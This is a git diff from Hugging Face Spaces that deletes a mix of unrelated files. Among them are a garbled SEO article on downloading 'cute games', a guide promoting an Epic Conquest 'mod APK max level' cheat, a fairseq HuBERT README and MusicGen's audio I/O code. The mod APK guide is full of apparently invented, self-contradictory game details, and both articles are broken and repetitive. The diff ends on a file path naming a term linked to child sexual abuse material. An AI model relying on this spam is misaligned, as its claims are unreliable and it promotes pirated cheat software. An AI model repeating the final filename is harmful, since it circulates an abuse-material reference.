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              Do you love playing games that are cute, charming, and fun? If so, you are not alone. Cute games are a popular genre of video games that appeal to many people of all ages and backgrounds. Whether you prefer pixel art, anime, romance, horror, or anything in between, there is a cute game for you. But how do you find and download cute games online? In this article, we will explain what are cute games, why they are popular, and how to download them from various sources.

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              What are Cute Games?

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              Cute games are video games that have endearing or adorable aesthetics, characters, stories, or gameplay. They can belong to any genre or category, such as platformers, visual novels, puzzles, simulations, RPGs, etc. Cute games often feature colorful graphics, catchy music, humorous dialogue, and engaging mechanics. They can also have different tones and themes, ranging from light-hearted and whimsical to dark and twisted.

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              Why are Cute Games Popular?

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              -doki doki literature club! - a free, unique, and very popular horror visual novel with a twist.

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              How to Download Cute Games Online?

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              There are many platforms where you can find and download cute games online. Some of the most popular ones are:

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              • itch.io: A website that hosts indie games of all genres and styles. You can browse, download, and play thousands of cute games for free or for a small fee. You can also support the developers by leaving feedback, ratings, or donations.
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              • Steam: A digital distribution platform that offers a large library of games for PC, Mac, Linux, and mobile devices. You can buy, download, and play cute games from various categories and tags. You can also join the Steam community and participate in discussions, reviews, workshops, etc.
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              • Google Play: A digital store that provides apps and games for Android devices. You can download and play cute games from different genres and ratings. You can also enjoy features such as cloud saving, achievements, leaderboards, etc.
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              Some tips on how to choose and download cute games online are:

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              • Check reviews and ratings: Before downloading a cute game online, it is advisable to check the reviews and ratings from other users and critics. This can help you get an idea of the quality, content, and compatibility of the game.
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              • Check genres and tags: To find a cute game that suits your preferences and tastes, you can check the genres and tags of the game. This can help you narrow down your search and discover new games that you might like.
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              • Check system requirements: To ensure that you can run a cute game smoothly on your device, you should check the system requirements of the game. This can help you avoid issues such as lagging, crashing, or errors.
                • -
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              Conclusion

              -

              Cute games are a popular genre of video games that have endearing or adorable aesthetics, characters, stories, or gameplay. They can belong to any genre or category, such as platformers, visual novels, puzzles, simulations, RPGs, etc. They can also have different tones and themes, ranging from light-hearted and whimsical to dark and twisted.

              -

              Cute games are popular for many reasons. Some of the benefits of playing cute games are relaxation, entertainment, and creativity. Some of the trends and influences that make cute games popular are social media, streaming, and fandoms.

              -

              There are many platforms where you can find and download cute games online. Some of the most popular ones are itch.io, Steam, and Google Play. Some tips on how to choose and download cute games online are checking reviews and ratings, checking genres and tags, and checking system requirements.

              -

              If you are looking for some cute games to play online, we hope this article has given you some useful information and suggestions. Happy gaming!

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              FAQs

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              1. What is the difference between cute games and kawaii games?
                2. -

                Cute games are a general term for video games that have endearing or adorable aesthetics, characters, stories, or gameplay. Kawaii games are a specific term for video games that have Japanese-inspired cuteness or cuteness culture.

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              2. What are some of the best cute games of all time?
                3. -

                This is a subjective question that depends on personal preferences and tastes. However, some of the most popular and acclaimed cute games of all time are Animal Crossing, Kirby's Dream Land, Pokémon, Undertale, Stardew Valley, etc.

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              3. How can I make my own cute game online?
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                There are many tools and resources that can help you make your own cute game online. Some of the most popular ones are GameMaker Studio, RPG Maker, Ren'Py, Twine, etc. You can also find tutorials, assets, and communities online that can guide you through the process.

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                There are many ways to play cute games online with friends. Some of the most common ones are multiplayer mode, co-op mode, online chat, voice chat, screen sharing, etc. You can also join online groups, clubs, or servers that are dedicated to cute games and their fans.

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                There are many sources and methods that can help you find more cute games online. Some of the most effective ones are browsing platforms, searching keywords, following creators, subscribing to newsletters, joining forums, watching videos, reading blogs, etc.

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              \ No newline at end of file diff --git a/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/Epic Conquest MOD APK Unlimited Money and Max Level in Offline RPG.md b/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/Epic Conquest MOD APK Unlimited Money and Max Level in Offline RPG.md deleted file mode 100644 index 058477c8cdb12c1244409a48117bd56c9e45f39b..0000000000000000000000000000000000000000 --- a/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/Epic Conquest MOD APK Unlimited Money and Max Level in Offline RPG.md +++ /dev/null @@ -1,178 +0,0 @@ -
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              Epic Conquest Mod APK Max Level: A Guide for RPG Fans

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              If you are a fan of role-playing games (RPGs), you might have heard of Epic Conquest, a popular offline action RPG developed by Gaco Games. In this game, you can choose from four different characters, each with their own unique skills and abilities, and embark on an epic adventure in a fantasy world. You can explore various locations, fight against enemies, complete quests, collect loot, upgrade your equipment, and more.

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              But what if you want to enjoy the game without any limitations? What if you want to have unlimited money, ruby, and other resources to buy anything you want in the game? What if you want to level up your character to the max and unlock all the skills and perks? Well, that's where Epic Conquest mod apk max level comes in handy.

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              Epic Conquest mod apk max level is a modified version of the original game that allows you to access all the features and content that are normally locked or restricted in the game. With this mod apk, you can have unlimited money, ruby, skill points, attribute points, inventory slots, crafting materials, and more. You can also level up your character to the maximum level of 9999 and unlock all the skills and perks. You can also customize your character's appearance, stats, and equipment as you wish.

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              Doesn't that sound awesome? If you are interested in playing Epic Conquest with mod apk max level, then this guide is for you. In this guide, we will show you how to download and install Epic Conquest mod apk max level on your device, how to play the game with mod apk max level, what are the best characters and skills in the game, what are the best weapons and equipment in the game, what are the best quests and challenges in the game, and what are some tips and tricks for Epic Conquest. So without further ado, let's get started!

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              What is Epic Conquest?

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              Epic Conquest is an offline action RPG that was released in 2017 by Gaco Games, an indie game studio based in Indonesia. The game has received over 5 million downloads on Google Play Store and has an average rating of 4.6 out of 5 stars. The game is also available on iOS devices.

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              The game is set in a fantasy world where humans and demons coexist peacefully until a mysterious portal opens up and unleashes a horde of demonic creatures that start attacking humans. You play as one of the four main characters who have special powers that can counter the demons. You can choose from Alaster, a sword-wielding warrior who can use fire magic; Edna, a staff-wielding mage who can use ice magic; Rita, a scythe-wielding reaper who can use dark magic; or

              How to Download and Install Epic Conquest Mod APK Max Level?

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              Downloading and installing Epic Conquest mod apk max level is very easy and simple. Just follow these steps and you will be ready to play the game with mod apk max level in no time.

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              How to Play Epic Conquest with Mod APK Max Level?

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              Playing Epic Conquest with mod apk max level is very similar to playing the original game, except that you have access to all the features and content that are normally locked or restricted in the game. Here are some tips and tricks on how to play the game with mod apk max level.

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              • Choose your character wisely. Each character has their own strengths and weaknesses, as well as different skills and abilities. You can switch between characters anytime from the main menu, but you will have to level up each character separately. You can use the unlimited skill points and attribute points to upgrade your character stats and skills as you wish.
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              • Explore the world map. The world map is where you can find various locations to visit, such as towns, dungeons, forests, caves, etc. You can also find enemies, NPCs, quests, shops, chests, etc. on the world map. You can use the unlimited money and ruby to buy anything you want from the shops, such as weapons, equipment, potions, etc.
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              • Fight against enemies. The enemies are the main source of challenge and fun in the game. You can encounter enemies on the world map or in dungeons. You can use your basic attack or skills to fight against them. You can also use items such as potions or scrolls to heal yourself or boost your stats. You can also use the unlimited crafting materials to craft items from the inventory menu.
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              • Complete quests and challenges. The quests and challenges are the main source of story and rewards in the game. You can find quests from NPCs or from the quest board in towns. You can also find challenges from the challenge board in towns or from special locations on the world map. Completing quests and challenges will give you experience points, money, ruby, items, etc.
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              • Upgrade your weapons and equipment. The weapons and equipment are the main source of power and customization in the game. You can find weapons and equipment from enemies, chests, shops, quests, etc. You can also craft weapons and equipment from the inventory menu using crafting materials. You can use money or ruby to upgrade your weapons and equipment from the blacksmith in towns.
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              These are some of the basic tips and tricks on how to play Epic Conquest with mod apk max level. Of course, there are more things to discover and enjoy in the game, so feel free to explore and experiment with different options and strategies.

              What are the Best Characters and Skills in Epic Conquest?

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              As mentioned earlier, Epic Conquest has four main characters that you can choose from, each with their own unique skills and abilities. But which character is the best for you? And what are the best skills to use for each character? Well, that depends on your personal preference and playstyle, but here are some general guidelines and suggestions to help you decide.

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              - - - - - - - - - - - - - - - - - - - - - - - - - - -
              CharacterDescriptionBest Skills
              AlasterA sword-wielding warrior who can use fire magic. He is a balanced character who can deal both physical and magical damage, as well as tank some hits. He is good for beginners who want a straightforward and versatile character.- Fire Slash: A basic skill that slashes the enemy with fire, dealing physical and fire damage.
              - Flame Charge: A skill that charges forward with fire, dealing physical and fire damage and stunning the enemy.
              - Fire Storm: A skill that summons a storm of fire around Alaster, dealing fire damage to nearby enemies.
              - Flame Burst: A skill that unleashes a burst of fire from Alaster's sword, dealing massive fire damage to enemies in front of him.
              EdnaA staff-wielding mage who can use ice magic. She is a glass cannon character who can deal huge amounts of magical damage, especially with her burn effect, but she is very fragile and needs to avoid getting hit. She is good for advanced players who want a high-risk high-reward character.- Ice Bolt: A basic skill that shoots an ice bolt at the enemy, dealing ice damage.
              - Ice Wall: A skill that creates a wall of ice in front of Edna, blocking enemy attacks and dealing ice damage to enemies who touch it.
              - Ice Nova: A skill that creates a nova of ice around Edna, dealing ice damage and freezing enemies.
              - Ice Age: A skill that summons a giant ice meteor that crashes down on the enemy, dealing massive ice damage and freezing enemies.
              RitaA scythe-wielding reaper who can use dark magic. She is a hybrid character who can deal both physical and magical damage, as well as heal herself with her life steal effect. She is good for intermediate players who want a self-sustaining and flexible character.- Dark Slash: A basic skill that slashes the enemy with dark energy, dealing physical and dark damage.
              - Dark Wave: A skill that sends a wave of dark energy forward, dealing dark damage and knocking back enemies.
              - Dark Sphere: A skill that creates a sphere of dark energy around Rita, dealing dark damage and absorbing enemy HP.
              - Dark Reaper: A skill that transforms Rita into a reaper form, increasing her attack speed, movement speed, and life steal effect.
              LouisaA bow-wielding archer who can use light magic. She is a ranged character who can deal high amounts of physical damage from a distance, as well as buff herself and her allies with her light magic. She is good for supportive players who want a safe and reliable character.- Light Arrow: A basic skill that shoots an arrow of light at the enemy, dealing physical and light damage.
              - Light Blast: A skill that shoots a blast of light at the enemy, dealing light damage and blinding the enemy.
              - Light Shield: A skill that creates a shield of light around Louisa or an ally, increasing their defense and resistance.
              - Light Rain: A skill that rains down arrows of light on the enemy, dealing physical and light damage to multiple enemies.

              What are the Best Weapons and Equipment in Epic Conquest?

              -

              Another important aspect of Epic Conquest is the weapons and equipment that you can use to enhance your character's performance and appearance. There are many types of weapons and equipment in the game, such as swords, staffs, scythes, bows, helmets, armors, gloves, boots, rings, necklaces, etc. Each weapon and equipment has its own stats, effects, and rarity. You can find weapons and equipment from enemies, chests, shops, quests, etc. You can also craft weapons and equipment from the inventory menu using crafting materials. You can use money or ruby to upgrade your weapons and equipment from the blacksmith in towns.

              -

              But which weapons and equipment are the best for each character? Well, that depends on your personal preference and playstyle, but here are some general guidelines and suggestions to help you decide.

              - - - - - - - - - - - - - - - - - - - - - - - - - - -
              CharacterBest WeaponsBest Equipment
              Alaster- Inferno Blade: A legendary sword that deals physical and fire damage and has a chance to burn enemies.
              - Flaming Edge: A rare sword that deals physical and fire damage and increases fire damage.
              - Fire Sword: A common sword that deals physical and fire damage.              		- Flame Armor: A legendary armor that increases defense, resistance, and fire damage.
              - Flame Helmet: A rare helmet that increases defense, resistance, and fire damage.
              - Flame Gloves: A rare gloves that increases attack, defense, and fire damage.
              - Flame Boots: A rare boots that increases speed, defense, and fire damage.
              - Flame Ring: A rare ring that increases HP, MP, and fire damage.
              - Flame Necklace: A rare necklace that increases HP, MP, and fire damage.
              Edna- Blizzard Staff: A legendary staff that deals ice damage and has a chance to freeze enemies.
              - Frost Staff: A rare staff that deals ice damage and increases ice damage.
              - Ice Staff: A common staff that deals ice damage.              		- Ice Armor: A legendary armor that increases defense, resistance, and ice damage.
              - Ice Helmet: A rare helmet that increases defense, resistance, and ice damage.
              - Ice Gloves: A rare gloves that increases attack, defense, and ice damage.
              - Ice Boots: A rare boots that increases speed, defense, and ice damage.
              - Ice Ring: A rare ring that increases HP, MP, and ice damage.
              - Ice Necklace: A rare necklace that increases HP, MP, and ice damage.
              Rita- Reaper Scythe: A legendary scythe that deals physical and dark damage and has a chance to steal enemy HP.
              - Dark Scythe: A rare scythe that deals physical and dark damage and increases dark damage.
              - Scythe: A common scythe that deals physical and dark damage.              		- Dark Armor: A legendary armor that increases defense, resistance, and dark damage.
              - Dark Helmet: A rare helmet that increases defense, resistance, and dark damage.
              - Dark Gloves: A rare gloves that increases attack, defense, and dark damage.
              - Dark Boots: A rare boots that increases speed, defense, and dark damage.
              - Dark Ring: A rare ring that increases HP, MP, and dark damage.
              - Dark Necklace: A rare necklace that increases HP, MP, and dark damage.
              Louisa- Light Bow: A legendary bow that deals physical and light damage and has a chance to blind enemies.
              - Holy Bow: A rare bow that deals physical and light damage and increases light damage.
              - Bow: A common bow that deals physical and light damage.              		- Light Armor: A legendary armor that increases defense, resistance, and light damage.
              - Light Helmet: A rare helmet that increases defense, resistance, and light damage.
              - Light Gloves: A rare gloves that increases attack, defense, and light damage.
              - Light Boots: A rare boots that increases speed, defense, and light damage.
              - Light Ring: A rare ring that increases HP, MP, and light damage.
              - Light Necklace: A rare necklace that increases HP, MP, and light damage.

              What are the Best Quests and Challenges in Epic Conquest?

              -

              Another important aspect of Epic Conquest is the quests and challenges that you can complete to advance the story and earn rewards. There are many types of quests and challenges in the game, such as main quests, side quests, daily quests, weekly quests, special quests, etc. Each quest and challenge has its own objectives, rewards, and difficulty level. You can find quests from NPCs or from the quest board in towns. You can also find challenges from the challenge board in towns or from special locations on the world map.

              -

              But which quests and challenges are the best for each character? Well, that depends on your personal preference and playstyle, but here are some general guidelines and suggestions to help you decide.

              - - - - - - - - - - - - - - - - - - - - - - - - - - -
              CharacterBest QuestsBest Challenges
              Alaster- The Demon King: A main quest that involves fighting against the Demon King, the final boss of the game.
              - The Fire Temple: A side quest that involves exploring the Fire Temple, a dungeon full of fire-themed enemies and puzzles.
              - The Flaming Sword: A special quest that involves finding and obtaining the legendary Inferno Blade.              		- The Fire Trial: A challenge that involves surviving waves of fire-themed enemies.
              - The Fire Master: A challenge that involves defeating a powerful fire mage.
              - The Fire Dragon: A challenge that involves slaying a giant fire dragon.
              Edna- The Ice Queen: A main quest that involves fighting against the Ice Queen, a powerful ice mage who is Edna's rival.
              - The Ice Temple: A side quest that involves exploring the Ice Temple, a dungeon full of ice-themed enemies and puzzles.
              - The Frozen Staff: A special quest that involves finding and obtaining the legendary Blizzard Staff.              		- The Ice Trial: A challenge that involves surviving waves of ice-themed enemies.
              - The Ice Master: A challenge that involves defeating a powerful ice mage.
              - The Ice Dragon: A challenge that involves slaying a giant ice dragon.
              Rita- The Reaper King: A main quest that involves fighting against the Reaper King, a mysterious reaper who is Rita's mentor.
              - The Dark Temple: A side quest that involves exploring the Dark Temple, a dungeon full of dark-themed enemies and puzzles.
              - The Reaper Scythe: A special quest that involves finding and obtaining the legendary Reaper Scythe.              		- The Dark Trial: A challenge that involves surviving waves of dark-themed enemies.
              - The Dark Master: A challenge that involves defeating a powerful dark mage.
              - The Dark Dragon: A challenge that involves slaying a giant dark dragon.
              Louisa- The Light Princess: A main quest that involves fighting against the Light Princess, a noble light mage who is Louisa's friend.
              - The Light Temple: A side quest that involves exploring the Light Temple, a dungeon full of light-themed enemies and puzzles.
              - The Light Bow: A special quest that involves finding and obtaining the legendary Light Bow.              		- The Light Trial: A challenge that involves surviving waves of light-themed enemies.
              - The Light Master: A challenge that involves defeating a powerful light mage.
              - The Light Dragon: A challenge that involves slaying a giant light dragon.

              What are the Best Tips and Tricks for Epic Conquest?

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              Finally, we will share some of the best tips and tricks for Epic Conquest that will help you improve your gameplay experience and have more fun with the game. Here are some of the best tips and tricks for Epic Conquest.

              -
                -
              • Save your game frequently. Epic Conquest is an offline game, which means you can play it anytime and anywhere without an internet connection. However, this also means that you need to save your game manually from the main menu or from the save point in towns. Saving your game frequently will prevent you from losing your progress or data in case of any errors or glitches.
                • -
              • Use the auto-battle feature. Epic Conquest has an auto-battle feature that allows you to let the game control your character and fight for you. You can activate this feature by tapping on the auto-battle button on the bottom right corner of the screen. This feature is useful when you want to grind for experience points, money, ruby, items, etc. without having to do much work. You can also customize the auto-battle settings from the main menu to adjust the behavior and strategy of your character.
                • -
              • Switch between characters. Epic Conquest allows you to switch between characters anytime from the main menu. This is useful when you want to try different characters and skills, or when you want to adapt to different situations and enemies. For example, you can switch to Edna when you want to deal massive damage with her ice magic, or switch to Louisa when you want to support your allies with her light magic.
                • -
              • Use the fast travel feature. Epic Conquest has a fast travel feature that allows you to teleport to any location that you have visited before. You can activate this feature by tapping on the fast travel button on the top left corner of the screen. This feature is useful when you want to save time and avoid unnecessary battles or obstacles. You can also use this feature to return to towns quickly when you need to heal, shop, upgrade, etc.
                • -
              • Complete achievements and collections. Epic Conquest has a lot of achievements and collections that you can complete to earn extra rewards and bonuses. You can check your achievements and collections from the main menu or from the achievement board in towns. Completing achievements and collections will give you experience points, money, ruby, items, etc. as well as unlock new features and content in the game.
                • -
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              These are some of the best tips and tricks for Epic Conquest that we can share with you. Of course, there are more things to learn and discover in the game, so feel free to explore and experiment with different options and strategies.

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              \ No newline at end of file diff --git a/spaces/sq57/newbing/README.md b/spaces/sq57/newbing/README.md deleted file mode 100644 index 1aa008e7cd684566a68f9a9032f10b80cb5cf652..0000000000000000000000000000000000000000 --- a/spaces/sq57/newbing/README.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Newbing -emoji: 🐢 -colorFrom: gray -colorTo: purple -sdk: docker -pinned: false -license: mit -app_port: 8080 ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/sriramelango/Social_Classification_Public/fairseq/examples/hubert/README.md b/spaces/sriramelango/Social_Classification_Public/fairseq/examples/hubert/README.md deleted file mode 100644 index b501a6eb2a047d4adb6f297436c1c002c926a09f..0000000000000000000000000000000000000000 --- a/spaces/sriramelango/Social_Classification_Public/fairseq/examples/hubert/README.md +++ /dev/null @@ -1,115 +0,0 @@ -# HuBERT - -## Pre-trained and fine-tuned (ASR) models -Model | Pretraining Data | Finetuning Dataset | Model -|---|---|---|--- -HuBERT Base (~95M params) | [Librispeech](http://www.openslr.org/12) 960 hr | No finetuning (Pretrained Model) | [download](https://dl.fbaipublicfiles.com/hubert/hubert_base_ls960.pt) -HuBERT Large (~316M params) | [Libri-Light](https://github.com/facebookresearch/libri-light) 60k hr | No finetuning (Pretrained Model) | [download](https://dl.fbaipublicfiles.com/hubert/hubert_large_ll60k.pt) -HuBERT Extra Large (~1B params) | [Libri-Light](https://github.com/facebookresearch/libri-light) 60k hr | No finetuning (Pretrained Model) | [download](https://dl.fbaipublicfiles.com/hubert/hubert_xtralarge_ll60k.pt) -HuBERT Large | [Libri-Light](https://github.com/facebookresearch/libri-light) 60k hr | [Librispeech](http://www.openslr.org/12) 960 hr | [download](https://dl.fbaipublicfiles.com/hubert/hubert_large_ll60k_finetune_ls960.pt) -HuBERT Extra Large | [Libri-Light](https://github.com/facebookresearch/libri-light) 60k hr | [Librispeech](http://www.openslr.org/12) 960 hr | [download](https://dl.fbaipublicfiles.com/hubert/hubert_xtralarge_ll60k_finetune_ls960.pt) - -## Load a model -``` -ckpt_path = "/path/to/the/checkpoint.pt" -models, cfg, task = fairseq.checkpoint_utils.load_model_ensemble_and_task([ckpt_path]) -model = models[0] -``` - -## Train a new model - -### Data preparation - -Follow the steps in `./simple_kmeans` to create: -- `{train,valid}.tsv` waveform list files -- `{train,valid}.km` frame-aligned pseudo label files. -The `label_rate` is the same as the feature frame rate used for clustering, -which is 100Hz for MFCC features and 50Hz for HuBERT features by default. - -### Pre-train a HuBERT model - -Suppose `{train,valid}.tsv` are saved at `/path/to/data`, `{train,valid}.km` -are saved at `/path/to/labels`, and the label rate is 100Hz. - -To train a base model (12 layer transformer), run: -```sh -$ python fairseq_cli/hydra_train.py \ - --config-dir /path/to/fairseq-py/examples/hubert/config/pretrain \ - --config-name hubert_base_librispeech \ - task.data=/path/to/data task.label_dir=/path/to/labels model.label_rate=100 -``` - -### Fine-tune a HuBERT model with a CTC loss - -Suppose `{train,valid}.tsv` are saved at `/path/to/data`, and their -corresponding character transcripts `{train,valid}.ltr` are saved at -`/path/to/trans`. - -To fine-tune a pre-trained HuBERT model at `/path/to/checkpoint`, run -```sh -$ python fairseq_cli/hydra_train.py \ - --config-dir /path/to/fairseq-py/examples/hubert/config/finetune \ - --config-name base_10h \ - task.data=/path/to/data task.label_dir=/path/to/trans \ - model.w2v_path=/path/to/checkpoint -``` - -### Decode a HuBERT model - -Suppose the `test.tsv` and `test.ltr` are the waveform list and transcripts of -the split to be decoded, saved at `/path/to/data`, and the fine-tuned model is -saved at `/path/to/checkpoint`. We support three decoding modes: -- Viterbi decoding: greedy decoding without a language model -- KenLM decoding: decoding with an arpa-format KenLM n-gram language model -- Fairseq-LM deocding: decoding with a Fairseq neural language model - - -#### Viterbi decoding - -`task.normalize` needs to be consistent with the value used during fine-tuning. -Decoding results will be saved at -`/path/to/experiment/directory/decode/viterbi/test`. - -```sh -$ python examples/speech_recognition/new/infer.py \ - --config-dir /path/to/fairseq-py/examples/hubert/config/decode \ - --config-name infer_viterbi \ - task.data=/path/to/data \ - task.normalize=[true|false] \ - decoding.exp_dir=/path/to/experiment/directory \ - common_eval.path=/path/to/checkpoint - dataset.gen_subset=test \ -``` - -#### KenLM / Fairseq-LM decoding - -Suppose the pronunciation lexicon and the n-gram LM are saved at -`/path/to/lexicon` and `/path/to/arpa`, respectively. Decoding results will be -saved at `/path/to/experiment/directory/decode/kenlm/test`. - -```sh -$ python examples/speech_recognition/new/infer.py \ - --config-dir /path/to/fairseq-py/examples/hubert/config/decode \ - --config-name infer_kenlm \ - task.data=/path/to/data \ - task.normalize=[true|false] \ - decoding.exp_dir=/path/to/experiment/directory \ - common_eval.path=/path/to/checkpoint - dataset.gen_subset=test \ - decoding.decoder.lexicon=/path/to/lexicon \ - decoding.decoder.lmpath=/path/to/arpa -``` - -The command above uses the default decoding hyperparameter, which can be found -in `examples/speech_recognition/hydra/decoder.py`. These parameters can be -configured from the command line. For example, to search with a beam size of -500, we can append the command above with `decoding.decoder.beam=500`. -Important parameters include: -- decoding.decoder.beam -- decoding.decoder.beamthreshold -- decoding.decoder.lmweight -- decoding.decoder.wordscore -- decoding.decoder.silweight - -To decode with a Fairseq LM, use `--config-name infer_fsqlm` instead, and -change the path of lexicon and LM accordingly. diff --git a/spaces/stomexserde/gpt4-ui/Examples/Buffy The Vampire Slayer Vampyr Hardcover Ruled Journal (Insights Journals) Books Pdf File.md b/spaces/stomexserde/gpt4-ui/Examples/Buffy The Vampire Slayer Vampyr Hardcover Ruled Journal (Insights Journals) Books Pdf File.md deleted file mode 100644 index 0ed609bbde7ff47d01c2b1afde225a4dc6028667..0000000000000000000000000000000000000000 --- a/spaces/stomexserde/gpt4-ui/Examples/Buffy The Vampire Slayer Vampyr Hardcover Ruled Journal (Insights Journals) Books Pdf File.md +++ /dev/null @@ -1,17 +0,0 @@ - -

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                \ No newline at end of file diff --git a/spaces/sub314xxl/MusicGen/audiocraft/data/audio.py b/spaces/sub314xxl/MusicGen/audiocraft/data/audio.py deleted file mode 100644 index 2048df6f175d7303bcf5c7b931922fd297908ead..0000000000000000000000000000000000000000 --- a/spaces/sub314xxl/MusicGen/audiocraft/data/audio.py +++ /dev/null @@ -1,215 +0,0 @@ -# Copyright (c) Meta Platforms, Inc. and affiliates. -# All rights reserved. -# -# This source code is licensed under the license found in the -# LICENSE file in the root directory of this source tree. - -""" -Audio IO methods are defined in this module (info, read, write), -We rely on av library for faster read when possible, otherwise on torchaudio. -""" - -from dataclasses import dataclass -from pathlib import Path -import logging -import typing as tp - -import numpy as np -import soundfile -import torch -from torch.nn import functional as F -import torchaudio as ta - -import av - -from .audio_utils import f32_pcm, i16_pcm, normalize_audio - - -_av_initialized = False - - -def _init_av(): - global _av_initialized - if _av_initialized: - return - logger = logging.getLogger('libav.mp3') - logger.setLevel(logging.ERROR) - _av_initialized = True - - -@dataclass(frozen=True) -class AudioFileInfo: - sample_rate: int - duration: float - channels: int - - -def _av_info(filepath: tp.Union[str, Path]) -> AudioFileInfo: - _init_av() - with av.open(str(filepath)) as af: - stream = af.streams.audio[0] - sample_rate = stream.codec_context.sample_rate - duration = float(stream.duration * stream.time_base) - channels = stream.channels - return AudioFileInfo(sample_rate, duration, channels) - - -def _soundfile_info(filepath: tp.Union[str, Path]) -> AudioFileInfo: - info = soundfile.info(filepath) - return AudioFileInfo(info.samplerate, info.duration, info.channels) - - -def audio_info(filepath: tp.Union[str, Path]) -> AudioFileInfo: - # torchaudio no longer returns useful duration informations for some formats like mp3s. - filepath = Path(filepath) - if filepath.suffix in ['.flac', '.ogg']: # TODO: Validate .ogg can be safely read with av_info - # ffmpeg has some weird issue with flac. - return _soundfile_info(filepath) - else: - return _av_info(filepath) - - -def _av_read(filepath: tp.Union[str, Path], seek_time: float = 0, duration: float = -1.) -> tp.Tuple[torch.Tensor, int]: - """FFMPEG-based audio file reading using PyAV bindings. - Soundfile cannot read mp3 and av_read is more efficient than torchaudio. - - Args: - filepath (str or Path): Path to audio file to read. - seek_time (float): Time at which to start reading in the file. - duration (float): Duration to read from the file. If set to -1, the whole file is read. - Returns: - Tuple[torch.Tensor, int]: Tuple containing audio data and sample rate - """ - _init_av() - with av.open(str(filepath)) as af: - stream = af.streams.audio[0] - sr = stream.codec_context.sample_rate - num_frames = int(sr * duration) if duration >= 0 else -1 - frame_offset = int(sr * seek_time) - # we need a small negative offset otherwise we get some edge artifact - # from the mp3 decoder. - af.seek(int(max(0, (seek_time - 0.1)) / stream.time_base), stream=stream) - frames = [] - length = 0 - for frame in af.decode(streams=stream.index): - current_offset = int(frame.rate * frame.pts * frame.time_base) - strip = max(0, frame_offset - current_offset) - buf = torch.from_numpy(frame.to_ndarray()) - if buf.shape[0] != stream.channels: - buf = buf.view(-1, stream.channels).t() - buf = buf[:, strip:] - frames.append(buf) - length += buf.shape[1] - if num_frames > 0 and length >= num_frames: - break - assert frames - # If the above assert fails, it is likely because we seeked past the end of file point, - # in which case ffmpeg returns a single frame with only zeros, and a weird timestamp. - # This will need proper debugging, in due time. - wav = torch.cat(frames, dim=1) - assert wav.shape[0] == stream.channels - if num_frames > 0: - wav = wav[:, :num_frames] - return f32_pcm(wav), sr - - -def audio_read(filepath: tp.Union[str, Path], seek_time: float = 0., - duration: float = -1., pad: bool = False) -> tp.Tuple[torch.Tensor, int]: - """Read audio by picking the most appropriate backend tool based on the audio format. - - Args: - filepath (str or Path): Path to audio file to read. - seek_time (float): Time at which to start reading in the file. - duration (float): Duration to read from the file. If set to -1, the whole file is read. - pad (bool): Pad output audio if not reaching expected duration. - Returns: - Tuple[torch.Tensor, int]: Tuple containing audio data and sample rate. - """ - fp = Path(filepath) - if fp.suffix in ['.flac', '.ogg']: # TODO: check if we can safely use av_read for .ogg - # There is some bug with ffmpeg and reading flac - info = _soundfile_info(filepath) - frames = -1 if duration <= 0 else int(duration * info.sample_rate) - frame_offset = int(seek_time * info.sample_rate) - wav, sr = soundfile.read(filepath, start=frame_offset, frames=frames, dtype=np.float32) - assert info.sample_rate == sr, f"Mismatch of sample rates {info.sample_rate} {sr}" - wav = torch.from_numpy(wav).t().contiguous() - if len(wav.shape) == 1: - wav = torch.unsqueeze(wav, 0) - elif ( - fp.suffix in ['.wav', '.mp3'] and fp.suffix[1:] in ta.utils.sox_utils.list_read_formats() - and duration <= 0 and seek_time == 0 - ): - # Torchaudio is faster if we load an entire file at once. - wav, sr = ta.load(fp) - else: - wav, sr = _av_read(filepath, seek_time, duration) - if pad and duration > 0: - expected_frames = int(duration * sr) - wav = F.pad(wav, (0, expected_frames - wav.shape[-1])) - return wav, sr - - -def audio_write(stem_name: tp.Union[str, Path], - wav: torch.Tensor, sample_rate: int, - format: str = 'wav', mp3_rate: int = 320, normalize: bool = True, - strategy: str = 'peak', peak_clip_headroom_db: float = 1, - rms_headroom_db: float = 18, loudness_headroom_db: float = 14, - loudness_compressor: bool = False, - log_clipping: bool = True, make_parent_dir: bool = True, - add_suffix: bool = True) -> Path: - """Convenience function for saving audio to disk. Returns the filename the audio was written to. - - Args: - stem_name (str or Path): Filename without extension which will be added automatically. - format (str): Either "wav" or "mp3". - mp3_rate (int): kbps when using mp3s. - normalize (bool): if `True` (default), normalizes according to the prescribed - strategy (see after). If `False`, the strategy is only used in case clipping - would happen. - strategy (str): Can be either 'clip', 'peak', or 'rms'. Default is 'peak', - i.e. audio is normalized by its largest value. RMS normalizes by root-mean-square - with extra headroom to avoid clipping. 'clip' just clips. - peak_clip_headroom_db (float): Headroom in dB when doing 'peak' or 'clip' strategy. - rms_headroom_db (float): Headroom in dB when doing 'rms' strategy. This must be much larger - than the `peak_clip` one to avoid further clipping. - loudness_headroom_db (float): Target loudness for loudness normalization. - loudness_compressor (bool): Uses tanh for soft clipping when strategy is 'loudness'. - when strategy is 'loudness'log_clipping (bool): If True, basic logging on stderr when clipping still - occurs despite strategy (only for 'rms'). - make_parent_dir (bool): Make parent directory if it doesn't exist. - Returns: - Path: Path of the saved audio. - """ - assert wav.dtype.is_floating_point, "wav is not floating point" - if wav.dim() == 1: - wav = wav[None] - elif wav.dim() > 2: - raise ValueError("Input wav should be at most 2 dimension.") - assert wav.isfinite().all() - wav = normalize_audio(wav, normalize, strategy, peak_clip_headroom_db, - rms_headroom_db, loudness_headroom_db, log_clipping=log_clipping, - sample_rate=sample_rate, stem_name=str(stem_name)) - kwargs: dict = {} - if format == 'mp3': - suffix = '.mp3' - kwargs.update({"compression": mp3_rate}) - elif format == 'wav': - wav = i16_pcm(wav) - suffix = '.wav' - kwargs.update({"encoding": "PCM_S", "bits_per_sample": 16}) - else: - raise RuntimeError(f"Invalid format {format}. Only wav or mp3 are supported.") - if not add_suffix: - suffix = '' - path = Path(str(stem_name) + suffix) - if make_parent_dir: - path.parent.mkdir(exist_ok=True, parents=True) - try: - ta.save(path, wav, sample_rate, **kwargs) - except Exception: - if path.exists(): - # we do not want to leave half written files around. - path.unlink() - raise - return path diff --git a/spaces/suppsumstagza/text-to-image-stable-diffusion-v1-5/scripts/1st Studio Siberian Mouses Hd Masha Masha And 